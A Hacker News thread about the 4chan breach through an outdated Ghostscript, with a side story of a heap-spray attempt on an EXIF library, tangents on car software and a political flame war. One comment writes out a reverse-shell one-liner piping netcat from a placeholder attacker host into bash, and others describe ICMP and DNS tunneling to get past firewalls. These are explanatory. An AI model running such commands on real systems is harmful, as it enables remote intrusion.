4chan's PHP code would offload that task to a well-know, but old and not very actively maintained EXIF library. Of course the thing with EXIF is that each camera vendor has their own proprietary extensions that need to be supported to make users happy. And as you'd expect from a library that parses a bunch of horrible undocumented formats in C, it's a huge insecure mess.
Several heap overflows and arbitrary writes all over the place. Heap spray primitives. Lots of user controlled input since you provide your own JPEG. Everything you could want.
So I wrote a little PoC out of curiosity. Crafted a little 20kB JPG that would try to allocate several GBs worth of heap spray. I submit my post, and the server dutifully times out.
And that's where I'd like to say I finished my PoC and reported the vulnerability, but in fact I got stuck on a reliable ASLR bypass and lost interest (I did send an email about the library, but I don't think it was actively maintained and there was no followup)
My impression from this little adventure is that 4chan never really had the maintenance and code quality it needed. Everything still seemed to be the same very old PHP code that leaked years ago (which included this same call to the vulnerable EXIF library). Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt.
This describes probably 95%+ of the entire software world, from enterprise, to SaaS to IoT to mobile to desktop to embedded... Everything seems to be hastily thrown together features that barely work and piles of debt that will never get fixed. It's a wonder anything actually even works. If cars (the non-software parts) were made like this, there would be millions of them breaking down by the side of the road daily.
I’m an automotive CE… we’re getting there.
Cars used to be DONE at lots… now, there are weeks to finish code before the customer lays hands on, and that time is factored in now.
Worse with OTA updates. Now, so long as it’s fixed if enough customers complain that’s good enough.
Cars used to be great. Then some morons connected them to the internet for no good reasons.
It was three letter agencies embarrassing the mfgs into “taking security more seriously” but conveniently also giving gov access, backdoors, and data on vehicles.
Play the game or they’ll make sure the next article is about you.
People would look at the vehicle industry a lot differently if they knew what was going on behind the scenes.
I discovered the vulnerability that lead to all that. I wish I could say more, but no one took it seriously.
Elon Musk and Franz von Holzhausen, to be precise.
Far closer to Obama and his circle. Around Carpocalypse 2008, a bunch of three letter agencies started pushes for internet connected vehicles knowing the tech wasn’t there; but would be.
I watched it happen. There was some shady shit, and the reality was 2008 wasn’t just about GM and Chrysler but and entire JustInTime mistake that could have stopped almost all car production around the world. Different topic, but the effect was government would be involved in cars a lot more than previously.
Fast forward, and here we are. Your car ABSOLUTELY is spying on you, and the upside is you also get shipped unfinished vehicles.
Be a culture war sally about Musk all you like, I know, the bad men say the mean things. But this isn’t on him. Tesla had to and in some ways is still learning that cars aren’t computers on wheels, but this specific “feature” came from Big Government first.
You really lose all credibility when you downplay the richest man on earth openly bribing voters and the President claiming the man helped rig voting machines, and that same man makes Nazi salutes and goes to Europe and supports the Nazi party in the place where they invented Nazi parties. And then he basically moves into the White House and magically his companies start getting government contracts, while saying empathy is a bad thing and begins eviscerating the government with no oversight.
That isn't "bad men saying bad things." But, of course, this very bad man did say some very bad things, too.
Imagine being trigger by a department of government finding fraud, waste, and misspending of YOUR’s and my tax dollars! If Bernie Sanders suggested it you’d be touting it as the best idea ever.
Saying “I give you my heart” and then making a gesture of giving the crowd your heart is not a “nazi salute”. If that is a nazi salute then Hillary Clinton and Alexandria Ocasio-Cortez have both given “nazi salutes”.
https://arstechnica.com/tech-policy/2025/03/starlink-benefit...
And it 100% was a Nazi salute. Plain as day. Quit telling people to ignore what their own eyes can see. Him saying a little phrase after doing that gesture doesn't change the gesture.
https://en.wikipedia.org/wiki/Elon_Musk_salute_controversy#/...
> Imagine being trigger by a department of government finding fraud, waste
They're doing nothing of the sort. They'll probably only end up wasting more money than anything they're "saving", which is really "saving" in the same way as not paying your rent is "saving".
Sure you lowered the spend of the agency, but you probably, by removing all the people who actively investigate/police waste, fraud and abuse, promoted more people to defraud the agency and not get caught.
Congratulations, you played yourself.
jesus expand your fucking media diet you absolute loon: https://www.marketplace.org/story/2025/02/20/150-year-olds-a...
Those were all just made up stories to you?
under age: https://www.ssa.gov/pubs/EN-05-10085.pdf
"over age" (i can only assume you mean 150 year olds or whatever, dead people are getting checks): https://apnews.com/article/social-security-payments-deceased...
"future birthdays": assuming you mean that there are records in the database, according to elon and 'BIG BALLS' that are assigned to someone who has yet to be born. However I can find no stories to support this. I expect it's typical elon musk puffery.
4g now. 3g was turned off causing these cars to drain the battery searching for signal.
Bad engineering at this point. To be fair, we could have had good car OS, good smartphone OS. But we didn't because everyone wanted to have their own pie castle.
Imagine a smartphone that was actually useful. Or a car OS that supports you with repairs. Possible, but not wanted by manufacturers.
Sony boots a RTOS Linux system on their cameras in 3 seconds flat, and the firmware is arguably mission critical for that camera. It can be done for an infotainment system.
However, you don't notice that three seconds. Because when you flick the switch and raise the camera, and it's already ready to shoot.
There's powersave after a minute (configurable), which can be considered as S3 sleep, and returning from that is faster.
Moreover if you have a stabilized lens, they work in tandem to improve things even further.
Many shots you think which would gonna be blurry comes out perfect. e.g.: https://www.flickr.com/photos/zerocoder/49047642802/in/photo...
I don't really use Flickr and a new personal website remains as yet on my list for this year, but here's something from back in 2020, one of the few really good shots I got that year: https://web.archive.org/web/20230513030226/https://aaron-m.c...
Not the soul of technical perfection, I freely grant, and I'm obviously adding a fair bit of light. But this was the second or third time I'd strayed even as far as my own backyard, after a covid dose earlier in the year had me knocked back for a few months. I suppose it could be sharper, but I had a hard time catching my breath that day, and I'm not actually sorry that a little human frailty should show through in a work where impending death and the onset of life are quite literally belly to belly.
In any case, it was really switch-to-shutter lag I was curious about. Three seconds there would be an eternity, so I appreciate knowing that's not the case.
Is stuff like this documented anywhere? This is one software topic I find endlessly fascinating but can't find any resources on.
We now have sloppy software simply because we can update bugs later.
This is a purely social problem that won't get solved with technology.
https://www.npr.org/2025/04/15/nx-s1-5355896/doge-nlrb-elon-...
Lots of software works very well. Including Facebook's, where "move fast and break things" was coined, I believe, which is some of the most scalable and reliable on the planet.
Facebook had a shit ton of teething problems. If social security/Medicaid has teething problems, people die. If Social Security has teething problems, people can't eat/pay rent/property tax, they get kicked out, their credit is ruined, and they can't qualify for new housing. Miss medication. Die. A little different than a blank page on Facebook. Facebook is also 'optional', and people can use other things to replace it. Society has committed to people over their entire lifetimes on Social Security/Medicaid. America should honor it's commitments, even when it's a little bit harder/inconvenient/more expensive. Especially when at the same time it's making 4 trillion dollar optional tax cuts instead of honoring it's promises to it's people.
Should blood bank typing software move fast and break things? Should your bank move fast and break things? Should your car's anti-lock braking system software move fast and break things? But the funds people depend on to live (Medicaid pays for the majority of nursing homes for the elderly, Social Security is many people's entire retirement income) should?
I disagree that that is how the United States should treat it's 'use cases' and 'constraints' in serving it's citizens/honoring it commitments.
And unlike Facebook, the current systems have actually worked for decades. How many times has Social Security needed a major uplift?
Now compare that to how often Facebook has had to overhaul its tech stack.
Lastly, for your comparison to work, you are claiming you are willing to fund government tech on the same level that Facebook funds their tech (otherwise the comparison makes no sense). Are you REALLY saying you are willing to fund government software development at the same expense level as Facebook? That's $60 billion and $65 billion in 2025 alone.
10. Occasionally, for no reason, your car would lock you out and refuse to let you in until you simultaneously lifted the door handle, turned the key, and grabbed the radio antenna.
11. GM would require all car buyers to also purchase a deluxe set of road maps from Rand-McNally (a subsidiary of GM), even though they neither need them nor want them. Trying to delete this option would immediately cause the car's performance to diminish by 50 per cent or more. Moreover, GM would become a target for investigation by the Justice Department. ...
13. You would press the 'start' button to shut off the engine.
(Though to be fair, the button tends to be labeled both start and stop)
> If cars were made like this, there would be millions of them breaking down by the side of the road daily.
Next to the software side of things, I also often wonder about planes. But, until now, they have proved fairly resilient to falling out of the sky, except for the well known "recent" events. Which is fairly surprising, knowing the levels of mismanagement at play. We've been lucky..
move fast and break things is going to be studied in the future as a hilariously clusterfuk misuse of an idea.
Well, cars did break down by the side of the road daily! That's why it used to be good advice even in the 90s to always have a basic set of tools in your trunk, why AAA offered roadside assistance already in 1915, and why part of the European CDL is enough basic mechanic knowledge to self-help when the truck breaks down.
It's only in the last 20-ish years that "smarts" became cheap and ubiquitous enough in cars that the car can warn preemptively. And additionally, regulatory requirements on quality, parts availability and public expectations went up, exerting competitive pressure.
Though maybe I am of the philosophy of prototyping as I like to code for problems that I am facing right now in real life and wish like damn... wish someone could build something cool & though I use AI quite hard. Its actually because I am currently in school and I just don't have the time to code but I face some issues which I genuinely feel need to be solved right now. (Maybe even as just a proof of concept) so that I can later write good readable code later on when I go into university.
The critical software parts of cars (non user-facing entertainment systems gripes aside). Think engine control modules, ABS, etc.
This stuff is mission critical and almost always works. I think about that a lot.
In this day and age, like... is anything secure at this point? You say hastily... but even the biggest "walls" get breached, constantly. Just claiming hastily to feel better about your own glass walls is just as bad.
> // In PHP 6 this... doesn't seem to do anything? Let's try again in 7.
Has there been a single year since 2012 that didn't include a new ghostscript RCE? Exposing ghostscript to the internet is dangerous.
Always check what is getting uploaded.
But in this case, it's subtly different.
This issue relies more on a quirk of how PDF and PostScript relate (PDF is built on a subset of postscript).
Imagine you had an image format which was just C which when compiled and ran produced the width, height, and then stream of RGB values to form an image. And you formalised this such that it had to have a specific structure so that if someone wanted to, they didn't have to write a C compiler, they could just pull out the key bits from this file which looks like ordinary C and produce the same result.
Now imagine that your website supports uploading such image files, and you need to render them to produce a thumbnail, but instead of using a minimal implementation of the standard which doesn't need to compile the code, you go ahead and just run gcc on it and run the output.
That's kind of more or less what happened here.
It's worth noting here that it's not really common knowledge that PDF is basically just a subset of postscript. So it's actually a bit less surprising that these guys fell for this, as it's as if C had become some weird language nobody talks about, and GCC became known as "that tool to wrangle that image format" rather than a general purpose C compiler.
The attackers in this case relied on some ghostscript exploits, that's true, but if you never ran the resulting C-image-format binaries, you could still get pwned through GCC exploits.
Because that's not actually true? Check out the table in the PDF specification, Appendix A, p985, listing all the PDF operators and their totally different PostScript equivalents, when there are any: https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandard...
The PDF imaging model is mostly borrowed from PostScript, though PDF's imaging model also supports partial transparency. The actual files themselves are totally different.
In this case, no PDF files were involved at all, but a PostScript file renamed to .pdf, which was used to exploit an old insecure GhostScript's PostScript execution engine (PostScript is a programming language, unlike PDF) or maybe parser:
> According to S0I1337, it was done by exploiting a vulnerability on 4chan's outdated GhostScript version from 2012 by uploading a malformed PostScript file renamed to PDF to gain arbitrary code execution as 4chan didn't check if files with PDF extensions were actually PDF files -- https://wiki.soyjak.st/Great_Cuckset, see also the image in A_D_E_P_T's comment https://news.ycombinator.com/item?id=43699395
Read section 2.4 of the PDF you linked for a bit of additional information on this "bsaically".
GhostScript is a postscript interpreter which can handle PDF files by applying the relatively simple transformations described in that section of the PDF. Whether they embedded the ghostscript exploit within the PDF, or didn't, it's not particularly important for making my point.
A PDF is a collection of isolated, restricted postscript programs (content streams) and the data required for rendering stuffed into one file. The overarching format is a subset of COS. But for all intents and purposes you can imagine this as a tarball containing postscript and other data.
The transformations required to go from PDF to postscript amount to:
1. Include some boilerplate
2. Pull out the content streams (postscript bits) ignoring the pdf-specific extensions
3. Search and replace the names of two procedures
4. Pull out the data required for rendering, optionally decompressing it if your postscript output doesn't support the particular compression in use
5. Concatenate all the data in the right order (on the basis of some metadata in the format)
6. It's now just normal postscript
[0]: https://archive.is/xBd9y (search for postscript)
There's also XBM.
I love these kinds of formats.
We still get plenty of results, because the tooling also gets better, and finding just one vulnerability is enough to be devastating, which makes it kind of frustrating. There is tons of progress, but much of it is just not paying dividends.
How do these exploits work? Does it open an SSH port somewhere or does it show up as a browser-based terminal?
nc attacker.ip 9000 | /bin/bash
The reverse shell gives you further access to the victim machine and can be entirely scripted. You can then use additional exploits for privilege elevation or just pilfer whatever you've got access to.
Note this a super simple demonstration of the concept.
It takes the normal client/server architecture and turns it inside out. If you remember FTP and active vs passive, it works like active mode FTP.
That's just one way to do it. If the attacker wants to actually listen on an open port on a compromised server that's behind a firewall, look up 'NAT traversal' for like half a dozen ways to do it.
One interesting method to get a shell that I read about is (ab)using ICMP echo requests. ICMP echo requests can contain arbitrary bytes as a payload. So the exploit will poll the attacker's IP address with ICMP echo requests. The exploit will have data payloads that have the shell's output. The attacker's server will respond with ICMP echo requests that have whatever the attacker wants to type into the shell. It's kinda janky but it works. Lots of firewalls might block outbound UDP/TCP connections from internal servers that don't need to make outbound connections, or might whitelist the addresses they're allowed to connect to. But they won't block ICMP, either because it's considered harmless or they forgot or they didn't know it needs to be blocked separately with other rules.
The point is there's any number of ways to do it, each more clever than the last.
But it gets better than tunneling over ICMP: DNS tunneling. Pretty much all systems can talk to a DNS resolver. If it resolves arbitrary host names, you can set up a DNS for a zone you control and requests will end up there. With tools like iodine (requires root and a binary on the target), you can tunnel your traffic conveniently (and slowly).
It's only a dozen kbytes/sec or so, but this is more than good enough for RSS, email, IRC, HN, ...
It's not a terrible idea, but it's pretty far down the list if things to do. It will stop mass scanners, but probably not any targeted attack unless you try REALLY hard (and then you have a chance of breaking your own infrastructure by accident doing this).
They should start with updating their ghostscript sometime over the last 10 years. Then maybe think about separating some parts of their infrastructure.
I mean, wow, that's really 2012 tech, looks like new owner d invested completely nothing since acquiring 4chan.
Also "reverse tunnel" as a more general term, it can open any service not just those giving shell access. There have been similar hacks where the implanted tunnel have access to databases that weren't properly secured (anyone remember back when SQL Server defaulted to having a blank password for "sa" and many didn't change that thinking their firewall, which was really little more than a simple NAT setup, was sufficient protection?).
This is why there is the mantra "NAT is not a firewall": if something internal has no business making outgoing connections it should be blocked as well as incoming connections being difficult (also because there are various other NAT busting attacks too).
Once you can run any command, you start passing in whatever commands you want.
Don't run versions of ghostscript from 2012?
Per Wikipedia:
In February 2013, with version 9.07, Ghostscript changed its license from GPLv3 to GNU AGPL.
With the AGPL license being legal kryptonite I wonder if license compatibility drove the decision (and how many other installations of Ghostscript share this concern)?
Unlikely. There's a number of other strong indications that basic maintenance was being neglected, including shell transcripts showing that at least one server was running FreeBSD 10.1 (released in 2014, end-of-life in 2018), and PHP code using the mysql extension (which was deprecated in PHP 5.6 = 2014 and removed in PHP 7.0 = 2015).
It's probably not a coincidence that 4chan was sold to a new owner in 2015.
agpl is no different than gpl if you're distributing applications. if you host the functionality of the application with improvements then it's rightly so cryptonite and you deserve it.
(incidentally I am now working on compiling this old GPL ghostscript to webassembly with file isolation... it works fine... but the compilation is kind of annoying)
This was a user-empowering application of the vulnerability. Obviously, a bug that allows root-level arbitrary code execution just by getting the user to load a single image could be used for some pretty bad stuff. (And perhaps was.)
do you know what the legal implications are for this?
if the company that owns 4chan finds the identity of the attacker, could they sue him in civil court? or do they send whatever logs they have to the FBI and the FBI would initiate a criminal prosecution? also what is the criminal act here? is it accessing their systems, or is it posting the data that they found "through unauthorised means" on a public channel like twitter? does the "computer fraud and abuse act" apply?
like if you found this exploit, and sent it to the company in good faith (ie a "good hacker"), are you free from prosecution? and what is the grey area, like if you found this exploit and then just sat on it for a while (let's say you didn't report it to the company, but let's also say you didn't abuse it, ie leak private data to twitter)
Some boards used to allow PDF files to upload too.
https://buer.haus/2019/10/18/a-tale-of-exploitation-in-sprea...
We published a PoC for file write as part of our research and bug bounty submissions:
https://gist.github.com/ziot/fb96e97baae59e3539ac3cdacbd0943...
Apparently some boards allowed uploading PDF files, but the site never checked if the PDF file was an actual PDF file. Once a PDF file was uploaded it was passed to a version of Ghostscript from 2012 which would generate a thumbnail. So the attacker found an exploit where uploading a PDF with the right PostScript commands could give the attacker shell access.